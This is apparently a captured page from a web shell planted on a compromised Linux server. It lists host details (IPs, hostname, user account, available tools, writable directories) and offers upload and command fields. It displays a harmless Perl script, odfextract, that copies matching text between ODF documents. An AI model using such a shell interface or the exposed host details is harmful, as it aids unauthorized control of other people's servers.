403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/odfextract
#!/usr/local/bin/perl
#-----------------------------------------------------------------------------
#	$Id : odfextract 0.4 2008-05-04 JMG$
#-----------------------------------------------------------------------------

=head1	NAME

odfextract - Text selection and copy from one document to another one

=head1	SYNOPSIS

This sample script extracts every text element matching a given
pattern (string or regex) from a source document and appends it
to a target document. The target document must be an existing one
(empty or not).

The first argument of the command line is the source file name,
the second one is the target file, the third one is the selection
filter (i.e. any quoted string or Perl regular expression)

=cut

use OpenOffice::OODoc	2.101;

die "Usage : odfextract source_file target_file filter\n"
	unless ($ARGV[0] && $ARGV[1] && $ARGV[2]);

	# document objects initialization
print "Opening $ARGV[0] as source document...\n";
my $source_doc = odfText(file => $ARGV[0])
	or die "$ARGV[0] is not a regular ODF file\n";
print "Opening $ARGV[1] as target document...\n";
my $target_doc = odfText(file => $ARGV[1])
	or die "$ARGV[1] is not a regular ODF file\n";

	# the imported elements will be appended to the document body
my $root_element = $target_doc->getBody;

	# selection & transfer are done here
print "Selecting the content matching $ARGV[2]...\n";
$target_doc->appendElement($root_element, $_)
	for $source_doc->selectElementsByContent($ARGV[2])->copy;

	# commit the changes in target file
print "Saving the selection in $ARGV[1]...\n";
$target_doc->save;

print "Job complete\n";
exit;

#----------------------------------------------------------------------

Youez - 2016 - github.com/yon3zu
LinuXploit